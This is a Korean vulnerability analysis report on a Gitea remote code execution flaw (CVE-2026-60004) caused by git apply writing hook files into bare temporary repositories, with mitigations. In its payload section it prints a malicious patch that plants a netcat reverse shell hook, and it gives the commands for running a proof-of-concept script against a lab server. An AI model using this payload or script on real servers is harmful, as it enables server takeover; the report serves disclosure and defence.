Gitea RCE 취약점(CVE-2026-60004)
■ 서론
2026년 7월, 소스 코드 저장소를 직접 구축하고 운영할 수 있는 오픈소스 플랫폼 Gitea에서 원격 코드 실행이 가능한 취약점(CVE-2026-60004)이 공개되었다. 이 취약점은 Gitea가 사용자가 보낸 패치를 Git으로 처리하는 과정에서 저장소 안에만 있어야 할 파일이 Gitea 서버의 실제 파일로 생성되면서 발생한다. 그 결과 공격자가 만든 파일이 서버에서 자동으로 실행되어 Gitea 서비스를 구동하는 OS 계정 권한으로 임의의 코드를 실행할 수 있다.
Gitea는 소스 코드 호스팅을 중심으로 이슈 관리, Pull Request, CI/CD, 패키지 저장소 등의 협업 기능을 제공한다. GitHub Star 약 5만개를 보유할 만큼 널리 알려져 있으며, 개인뿐 아니라 기업과 기관의 자체 개발 환경에서도 사용된다.
그림 1. Gitea GitHub Star
이 취약점은 취약 버전을 사용하는 Gitea 전반에 영향을 주며, 그중 외부 사용자의 회원가입과 저장소 생성이 허용된 환경은 불특정 공격자에게 노출되어 특히 위험하다.
공격자가 조작한 패치를 반복해서 전송하면 Gitea 서버 권한으로 임의의 코드를 실행할 수 있으며, 최악의 경우 서버가 장악될 수 있다. 따라서 외부 사용자의 가입과 저장소 생성이 가능한 운영환경에서는 취약 버전 사용 여부를 확인하고 수정된 버전으로 업그레이드해야 한다
CVE-2026-60004는 Gitea 취약점으로 등록되어 있다. 공식 보안 권고(GitHub Security Advisory) 역시 Gitea가 패치를 처리할 때 사용하는 임시 저장소 방식을 중심으로 설명한다. 그러나 공격이 실제로 성립하는 핵심 동작은 Gitea 서버 내 Git이 패치를 처리하며 파일을 실제 경로에 생성하는 데 있다. 이에 본 보고서는 Gitea의 패치 처리 방식을 바탕으로, 그 동작을 수행한 Git의 패치 처리 과정까지 확장하여 취약점의 근본 원인을 분석한다.
■ 영향받는 소프트웨어 버전
CVE-2026-60004에 취약한 소프트웨어는 다음과 같다.
| S/W 구분 | 취약 버전 |
|---|---|
| Gitea | v1.17.0 <= version < v1.27.1 |
| Git | version >= v2.23.0 |
■ 공격 시나리오
그림 2. 공격 시나리오
① 공격자는 Gitea에 회원가입 후, 공격에 사용할 저장소를 생성한다. ② 공격자는 악성 페이로드가 포함된 동일한 패치 요청을 해당 저장소에 두 차례 전송한다. ③ 피해자 서버가 두 번째 요청을 처리하는 과정에서 기존 파일과 충돌이 발생하며, 악성 파일이 서버 저장소에 저장된다. ④ 그 결과 저장된 파일이 서버에 의해 자동으로 호출되어, 그 안의 악성 코드가 실행된다. ⑤ 실행된 코드가 공격자 서버로 리버스 쉘 연결을 시도하며, 공격자가 피해자 서버의 쉘을 획득한다. |
|---|
■ 테스트 환경 구성 정보
피해자는 로컬 PC에서 취약한 Gitea 1.27.0을 Docker 컨테이너로 실행하고, 공격자는 VMware에서 실행 중인 Kali Linux를 사용한다.
| 이름 | 정보 |
|---|---|
| 피해자 | Gitea 1.27.0 (WSL/Docker) (172.29.142.73:3000) |
| 공격자 | Kali Linux (VMware) (192.168.181.130) |
■ 취약점 테스트
Step 1. 취약 환경 구성
먼저 피해자 환경을 구성한다. 다음 명령어로 CVE-2026-60004에 취약한 Gitea 1.27.0 이미지를 빌드하고, 해당 이미지로 Docker 컨테이너를 실행한다.
> git clone https://github.com/EQSTLab/CVE-2026-60004.git > cd CVE-2026-60004 > docker build -t cve-2026-60004 . > docker run --rm -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004 |
|---|
컨테이너가 실행되면 웹 브라우저에서 http://172.29.142.73:3000에 접속하여 Gitea가 정상적으로 실행되는지 확인한다.
그림 3. Gitea 실행 확인
Step 2. 취약점 테스트
공격자는 Kali에서 Gitea에 접속한 뒤 회원가입을 진행한다.
그림 4. Gitea 회원 가입
로그인 후 저장소 초기화 옵션을 선택하여 공격에 사용할 새 저장소를 생성한다.
그림 5. 취약점 테스트용 저장소 생성 1
그림 6. 취약점 테스트용 저장소 생성 2
이후 리버스 쉘 연결을 수신하기 위해 터미널을 열고, 지정한 포트를 개방한 상태로 대기한다.
그림 7. 포트 리스닝
다른 터미널에서 다음 명령어를 실행하여 리버스 셸 페이로드가 포함된 공격 요청을 전송한다.
> git clone https://github.com/EQSTLab/CVE-2026-60004.git > cd CVE-2026-60004 > python3 poc.py \ --url http://172.29.142.73:3000 \ --user [id] \ --pw [password] \ --repo [your repo] \ --lhost 192.168.181.130 \ --lport 4444 |
|---|
Gitea 서버가 요청을 처리하면 삽입된 코드가 실행되고 공격자 측의 대기 포트로 연결된다. 공격자는 해당 연결을 통해 서버의 셸을 획득하여 원격 코드 실행이 가능함을 확인할 수 있다.
그림 8. 쉘 연결 완료
■ 취약점 상세 분석
Step 1. 취약점 발생 배경
공격자는 저장소에 diffpatch 요청을 전송하고, Gitea는 이를 서버 내부에서 git apply 명령으로 저장소에 반영한다. 이 취약점은 바로 이 git apply 처리 과정에서 발생하며, 이를 이해하기 위해 Git 저장소 구조(bare/non-bare), hook 동작, git apply를 차례로 살펴본다.
1. non-bare/bare 저장소
Git 저장소는 non-bare와 bare로 나뉜다. 개발자가 로컬에서 코드를 편집하고 커밋할 때 쓰는 것이 non-bare 저장소로, git init이나 git clone을 실행하면 기본적으로 이 형태로 만들어진다. non-bare 저장소는 실제 프로젝트 파일이 놓이는 작업 디렉터리와 Git 관리 정보가 담기는 . .git디렉터리로 나뉘어 있어, 커밋 기록이나 브랜치 정보 같은 내부 데이터는 .git 아래에, src나 README.md 같은 프로젝트 파일은 작업 디렉터리에 놓인다.
반면 bare 저장소는 여러 사람이 코드를 주고받는 중앙 공유 저장소로, GitHub이나 Gitea 같은 호스팅 서버가 저장소를 보관할 때 쓰는 형태이다. 서버에서는 파일을 직접 수정하는 대신 push와 pull로 변경 이력만 오가기 때문에 작업 디렉터리가 필요 없고, 그래서 저장소 경로 자체가 Git 관리 영역인 $GIT_DIR로 쓰인다. 이 때문에 non-bare라면 .git 안에 있었을 objects, refs, hooks, HEAD 같은 항목이 bare 저장소에서는 저장소 루트 바로 아래에 자리한다.
그림 9. non-bare 저장소와 bare 저장소의 구조 비교
결국 non-bare 저장소의 .git/objects, .git/refs, .git/hooks에 해당하던 경로가 bare 저장소에서는 루트 아래의 objects, refs, hooks가 되는 셈이다. 바꿔 말하면 bare 저장소에서는 저장소 루트에 만들어진 파일이 그대로 Git 관리 영역 안의 파일이 되며, 이 특징이 이번 취약점에서 공격자가 hook 파일을 심는 데 악용된다.
2. Git hook
Git hook은 커밋·병합·인덱스 변경과 같은 특정 작업이 일어났을 때 Git이 자동으로 실행하는 파일이다. Git은 정해진 이름의 hook 파일을 저장소의 Git 관리 영역 안 hooks 디렉터리에서 찾아, 실행 권한이 있으면 그대로 실행한다.
이 취약점에서 이용되는 post-index-change는 Git이 인덱스를 기록한 직후 실행되는 hook이다. 인덱스는 다음 커밋에 담길 내용을 모아두는 영역으로, 변경사항을 실제 파일로 쓰지 않고 인덱스에만 반영하는 경우에도 이 hook은 호출되기 때문에 공격자는 이 hook을 이용한다.
공격자가 이 hook을 실행시키려면 실제 hook 경로에 실행 가능한 파일을 심어야 한다. hooks 디렉터리는 Git 관리 영역 안에 있어, 그 위치는 저장소 형태에 따라 달라진다.
그림 10. 저장소 형태에 따른 hook 경로
non-bare 저장소에서는 실제 hook 경로가 .git/hooks 안에 있다. 그런데 Git은 자신의 관리 영역인 .git 안에 파일을 만드는 것을 허용하지 않아, 공격자는 이 경로에 hook을 심을 수 없다.
| > git apply error: exit status 128 - error: invalid path '.git/hooks/post-index-change' |
|---|
반면 bare 저장소에서는 저장소 루트가 곧 Git 관리 영역이라 실제 hook 경로가 루트의 hooks/에 있다. 이 경로는 .git을 거치지 않으므로, 공격자가 hooks/post-index-change를 만들면 그대로 실제 hook이 심긴다. 공격자는 hooks 디렉터리가 .git 없이 루트에 노출된다는 bare 저장소의 특성을 악용해, 실제 hook 경로에 실행 파일을 심을 수 있게 된다.
3. git apply
보통 Git으로 코드를 수정할 때는 파일을 직접 편집한 뒤 git add·git commit으로 기록한다. 반면 git apply는 이런 편집 없이 변경 내용을 담은 diff를 받아 그대로 저장소에 반영하는 명령으로, Gitea의 diffpatch 기능이 바로 이 방식으로 동작한다. 이때 변경사항을 어디에 반영할지, 그대로 적용되지 않을 때 어떻게 처리할지를 옵션으로 지정할 수 있는데 Gitea는 --cached와 -3를 함께 사용한다.
--cached
--cached는 변경사항을 작업 디렉터리에 쓰지 않고 인덱스에만 반영하는 옵션이다. 작업 디렉터리의 파일을 건드리지 않아, 이 옵션을 적용하면 저장소 경로에 실제 파일이 만들어지지 않는다. 따라서 앞서 본 bare 저장소의 hook 경로로 신규 파일을 추가하는 요청을 보내더라도, --cached가 지켜지는 한 그 내용은 인덱스에만 기록될 뿐 디스크에는 파일이 생성되지 않는다. Gitea가 diffpatch에서 이 옵션을 쓰는 이유도, 변경사항을 커밋으로 반영하기만 하면 될 뿐 실제 작업 파일이 필요하지 않기 때문이다.
--3way (-3)
--3way는 패치가 만들어질 당시의 파일과 서버에 현재 저장된 파일이 달라 그대로 적용할 수 없을 때 병합을 시도하는 옵션이다. Git은 패치를 만든 사람이 수정하기 전 파일과 수정을 끝낸 파일, 그리고 서버에 현재 저장된 파일 세 가지를 비교한다. 이를 통해 패치로 바꾸려는 부분과 서버에서 이미 바뀐 부분을 구분하여, 서로 다른 부분이면 두 변경을 합치고 같은 부분을 다르게 바꿨으면 합치지 못하고 충돌로 남긴다.
그림 11. 3-way merge의 동작 방식
새 파일을 추가하는 패치를 이미 같은 경로에 파일이 있는 상태에 적용하면, 두 파일이 같은 경로에 놓여 충돌이 발생하는데 이를 add/add 충돌이라고 한다. 이때 병합에 필요한 현재 내용은 인덱스에 이미 있지만, Git은 이를 인덱스에서 바로 읽지 않고 작업 디렉터리의 실제 파일에서 읽으려 한다. 그런데 --cached 로 인해 작업 디렉터리에는 그 파일이 없어, Git은 인덱스의 내용을 실제 경로에 파일로 만들어 낸 뒤 읽는다. 이 과정에는 --cached 여부를 확인하는 절차가 없어, add/add 경우에만 파일을 만들지 않는 --cached 옵션을 무시하고 작업 디렉터리에 파일이 생성된다.
--cached는 작업 디렉터리의 파일을 수정하지 않겠다는 옵션이므로, 이처럼 파일이 실제로 생성되는 것은 의도된 동작으로 보기 어렵다. 그럼에도 이를 무시하고 작업 디렉터리에 파일을 만드는 이 동작이 이번 취약점의 근본 원인이며, 최신 버전의 Git에도 그대로 남아 있다.
이처럼 3-way merge의 예외적인 파일 생성, bare 저장소의 구조, hook의 자동 실행이 맞물려 원격 코드 실행이 성립한다. git apply로 만들어진 파일이 bare 저장소에서는 실제 hook 경로에 놓여 그대로 자동 실행되기 때문이다. 그 결과 공격자는 저장소에 패치를 적용할 수 있는 권한만으로 서버에서 임의 코드를 실행할 수 있다.
Step 2. 취약 코드 분석
Step 2에서는 Gitea에서 사용하는 임시 저장소가 bare로 만들어지는 과정, Gitea 서버 내부에서 실행되는 git apply 명령 사용 시 --cached와 -3을 함께 지정해 패치를 적용하는 과정, 그리고 load_current()에서 검증이 누락된 지점을 차례로 확인한다.
1. Gitea의 bare 임시 저장소 생성
Gitea는 사용자의 패치 요청을 받으면 서버 내부에서 Git 명령을 호출해 처리하며, 이때 원본 저장소를 직접 변경하지 않고 임시 저장소에 대상 브랜치를 복제해 패치를 적용한다. 적용 결과는 커밋한 뒤 원본 저장소에 반영하며, 이 과정에서 복제 함수인 Clone()의 세 번째 인자에 true를 전달한다.
그림 12. 패치 처리용 임시 저장소 생성
이때 복제 함수의 세 번째 인자는 bare 저장소 사용 여부를 나타내며 전달된 값은 복제 옵션의 Bare 항목에 boolean 형식으로 저장된다.
그림 13. bare 인자를 Git 복제 옵션의 Bare 항목으로 전달
Bare 값이 true가 전달되면 Gitea 내부에서 git clone 명령을 만들 때 --bare가 추가되어 패치 처리용 임시 저장소는 bare 형태로 생성되고, 저장소의 루트가 $GIT_DIR이 된다. 만약, false 값이 전달되면 non-bare 저장소로 생성된다.
그림 14. Bare 값이 true일 때 git clone 명령에 --bare 추가
Gitea는 임시 저장소를 생성한 뒤 임시 저장소의 인덱스에만 반영하기 위해 --cached 옵션을 사용하며, 서버의 Git이 v2.32 이상이면 3-way merge를 위한 -3 옵션을 함께 사용한다.
그림 15. bare 임시 저장소에서 git apply 실행
이때 –-cached 옵션과 -3 옵션을 함께 사용했기 때문에 git apply 패치 적용 시 인덱스만 변경해야 하며 실제 경로에 파일을 만들어서는 안 된다.
2. load_current()의 --cached 검증 누락
CVE-2026-60004는 새 파일을 생성하는 동일한 패치를 같은 저장소에 두 번 전송할 때 발생한다. 첫 번째 요청에서는 패치가 인덱스에 적용되고, 그 결과가 커밋되어 원본 저장소의 대상 브랜치에 반영된다. 이후 두 번째 요청에서는 해당 커밋이 이미 반영된 브랜치를 다시 복제하게 된다. 이때 인덱스에는 새로 생성된 파일의 내용이 존재하지만, –-cached 옵션으로 인해 실제 작업 환경에는 파일이 생성되지 않는다.
그림 16. 동일한 신규 파일 생성 패치를 두 번 전달 시 처리 과정
공격자가 동일한 패치 내역을 다시 전송하면, 첫 번째 요청으로 인해 인덱스에 동일한 경로의 파일이 이미 존재하므로 add/add 충돌이 발생한다. 이에 따라 -3 옵션에 의해 3-way merge가 수행되며 3-way merge 과정에서는 패치 유형에 따라 현재 파일의 내용을 가져오는 방식이 달라진다. 공격에 사용된 패치는 신규 파일을 생성하는 패치이며, 기존에 동일한 경로의 파일이 존재해 add/add 충돌이 발생한 경우, 현재 파일의 내용을 가져오기 위해 load_current()가 호출된다.
그림 17. 신규 파일 생성 패치일 때만 load_current() 호출
load_current() 함수는 이러한 add/add 충돌 시 3-way merge 과정에서 현재 존재하는 파일의 내용을 가져오기 위해 호출되며, 병합에는 아래의 세 값이 사용된다.
그림 18. 두 번째 요청에서 3-way merge에 사용되는 세 값
load_current() 함수는 인덱스에서 현재 내용을 찾은 뒤, 동일한 경로에 실제 파일이 존재하는지 확인하고 병합 전에 인덱스의 내용과 실제 파일이 일치하는지 검사한다. 그러나 실제 파일이 존재하지 않으면 해당 검사를 수행할 수 없으므로 checkout_target()을 호출해 인덱스의 내용을 실제 경로에 파일로 생성한다. 이때 --cached 옵션을 사용한 경우에는 실제 경로에 파일을 생성해서는 안 되지만, 해당 함수에는 --cached 옵션의 사용 여부를 확인하는 조건이 없어 파일이 그대로 생성된다.
그림 19. --cached 상태에서도 현재 파일을 실제 경로에 생성
같은 checkout_target()을 호출하는 check_preimage()는 --cached 옵션의 사용 여부를 먼저 확인하여 실제 경로에 파일이 생성되지 않도록 하고, 필요한 정보는 인덱스에서 가져온다. 반면 load_current()에는 이러한 조건 검사가 누락되어 있다.
그림 20. check_preimage()에서 cached 확인 로직
결과적으로 git apply 명령 실행 시 -3과 --cached 옵션을 함께 사용하면, load_current()에서 --cached 여부를 확인하지 않아 인덱스에만 반영되어야 할 내용이 실제 파일로 생성된다. 공격자는 이를 악용해 Git hook으로 인식되는 경로를 지정한 패치를 전송한다. bare 임시 저장소에서는 해당 파일이 실제 hook 경로에 생성되며, 이후 hook이 실행되면서 원격 코드 실행으로 이어질 수 있다.
Step 3. 공격 흐름 분석
앞서 확인한 원인을 바탕으로, 공격자의 요청이 서버 내부에서 원격 코드 실행으로 이어지는 흐름을 분석한다. 임시 저장소에 hook 파일이 만들어지는 순간과, 그 파일이 곧바로 실행되어 공격자에게 셸이 연결되는 과정을 통해 분석한 흐름이 실제로 원격 코드 실행으로 이어짐을 확인한다.
그림 21. 공격 흐름
1. 공격 페이로드
공격자는 hooks/post-index-change를 새 파일로 만드는 패치를 담아, 같은 커밋 요청을 연속 두 번 보낸다. 해당 파일은 실행되면 공격자에게 연결되는 리버스 쉘이다.
diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000000000000000000000000000000000000..<blob-sha> --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,2 @@ +#!/bin/sh +F=/tmp/.$$;rm -f $F;mkfifo $F;cat $F|/bin/sh -i 2>&1|nc 192.168.181.130 4444 >$F;rm -f $F |
2. 첫 번째 커밋 – 인덱스 반영
첫 번째 커밋은 add/add 충돌이 발생하지 않아 인덱스에만 반영되므로 훅 파일이 만들어지지 않는다. 다음과 같이 첫 임시 저장소 upload.git803576536에는 예제 hook(*.sample)만 있고 post-index-change는 생성되지 않은 것을 확인할 수 있다.
그림 22. 첫번째 커밋 이후 hook 파일
3. 두 번째 커밋 – hook 파일 생성
두 번째 요청에서 3-way merge가 파일을 실제 경로에 만든다. 다음과 같이 둘째 임시 저장소 upload.git3704620442에만 post-index-change가 생성된 것을 확인할 수 있다.
그림 23. 두 번째 커밋 이후 hook 파일
4. hook 실행 및 원격 코드 실행
심어진 hook은 인덱스 기록 직후 곧바로 실행되며, 리버스 쉘이 공격자(192.168.181.130)에게 연결되는 과정이 그대로 이어진다. 앞선 hooks/post-index-change파일이 생긴 시각과 거의 동시에 실행된 것을 확인할 수 있다.
그림 24. hook 실행 및 원격 코드 실행
■ 대응 방안
CVE-2026-60004는 Gitea v1.27.1에서 수정되었다. 해당 보안 패치에서는 diff 적용 과정에 사용되는 임시 저장소를 non-bare 방식으로 복제하도록 변경하여, 공격자가 커밋을 통해 hook 경로에 실행 파일을 삽입하지 못하도록 조치하였다. 다만 이는 Gitea의 노출을 막은 것으로, 근본 원인인 Git의 동작은 그대로 남아 있다. 이에 Gitea의 보안 패치와 Git에서 취해야 할 근본적인 해결 방안을 함께 살펴본다.
| S/W 구분 | 패치 버전 |
|---|---|
| Gitea | v1.27.1 이상 |
Step 1. Gitea 보안 패치 적용
Gitea 1.27.1에서는 diff 적용을 준비하는 gitPatchPrepare() 함수에서 임시 저장소를 복제하는 Clone() 함수의 마지막 인자값을 true에서 false로 변경하였다. 이 값이 true이면 작업 트리가 없는 bare 저장소로, false이면 사용자 파일과 Git 관리 영역이 분리된 non-bare 저장소로 복제된다.
그림 25. 임시 저장소를 non-bare 방식으로 변경
이 변경으로 임시 저장소가 non-bare가 되면서, hook 디렉터리가 .git/hooks 아래로 들어간다. 앞서 살펴봤듯 Git은 diff가 만들려는 경로에 .git이 포함되면 이를 거부해, 공격자는 이 hook 경로에 파일을 만들 수 없다. 따라서 따라서 diff로 hook을 심어 실행시키는 공격이 불가능해졌다.
Step 2. Git의 근본적인 원인과 대응 방안
Gitea의 패치는 취약점 조건 중 하나인 bare 임시 저장소를 사용하지 않도록 수정하여 악용을 막았지만, 근본 원인인 Git의 동작 자체를 해결한 것은 아니다. 진짜 원인은 Gitea가 아니라 Git에 있으며, --cached가 지정됐는데도 작업 디렉터리에 파일을 만드는 이 동작은 최신 버전의 Git(v2.54.0)에서도 여전히 고쳐지지 않은 채 남아 있다.
근본적인 문제는 add/add 충돌에서 현재 내용을 확보하는 load_current() 함수에 있다. 이 함수는 --cached 여부와 무관하게 작업 디렉터리를 검사하고, 파일이 없으면 checkout_target()으로 파일을 디스크에 만든다. 그러나 그 내용을 실제로 읽는 load_patch_target()은 --cached일 때 작업 디렉터리 대신 Git 내부에 저장된 내용(ce)에서 읽어, 이렇게 만들어진 파일은 병합에 사용되지 않는다. 이 파일 생성은 작업 디렉터리에서 내용을 읽는 경우에만 필요할 뿐 --cached에서는 불필요하므로, --cached일 때는 건너뛰도록 검증을 추가하는 것이 바람직하다.
그림 26. Git 취약점 대응 방안
--cached가 지정되면 이 블록을 건너뛰고, load_patch_target()이 인덱스에서 내용을 읽어 병합을 이어간다. 새로운 로직을 더하는 것이 아니라 Git이 다른 경로에서 이미 사용하는 방식을 그대로 따르는 것이므로, 작업 디렉터리를 변경하지 않는다는 --cached의 원칙이 모든 경로에서 일관되게 지켜진다.
Git에서 대응방안을 적용하기 전까지 git apply --cached -3을 신뢰할 수 없는 입력에 사용하는 서비스는 동일한 위험을 안고 있다.
따라서 --cached가 작업 디렉터리를 건드리지 않으리라는 가정에만 의존해서는 안 되며, 다음과 같은 방어를 함께 적용하는 것이 바람직하다.
| 대응 방안 | 설명 |
|---|---|
임시 저장소를 non-bare로 생성 |
diff로 만들어진 파일이 실제 hook 경로(.git/hooks)와 겹치지 않게 한다. Gitea가 택한 방식으로, 파일이 생성되더라도 hook로 인식되지 않는다. |
안전한 hook 실행 경로 사용 |
Git이 hook을 찾는 경로(core.hooksPath)를 공격자가 파일을 심을 수 없는 저장소 바깥으로 지정하면, 저장소 안에 만들어진 hook은 조회되지 않아 실행되지 않는다. |
■ 참고 사이트
• GitHub
◦ https://github.com/go-gitea/gitea/commit/d7bc52beeadff4be5f5690de4d5de42abd10affe
• GitHub Security
◦ https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
• GitHub Docs
◦ https://git-scm.com/docs/gitglossary/2.39.0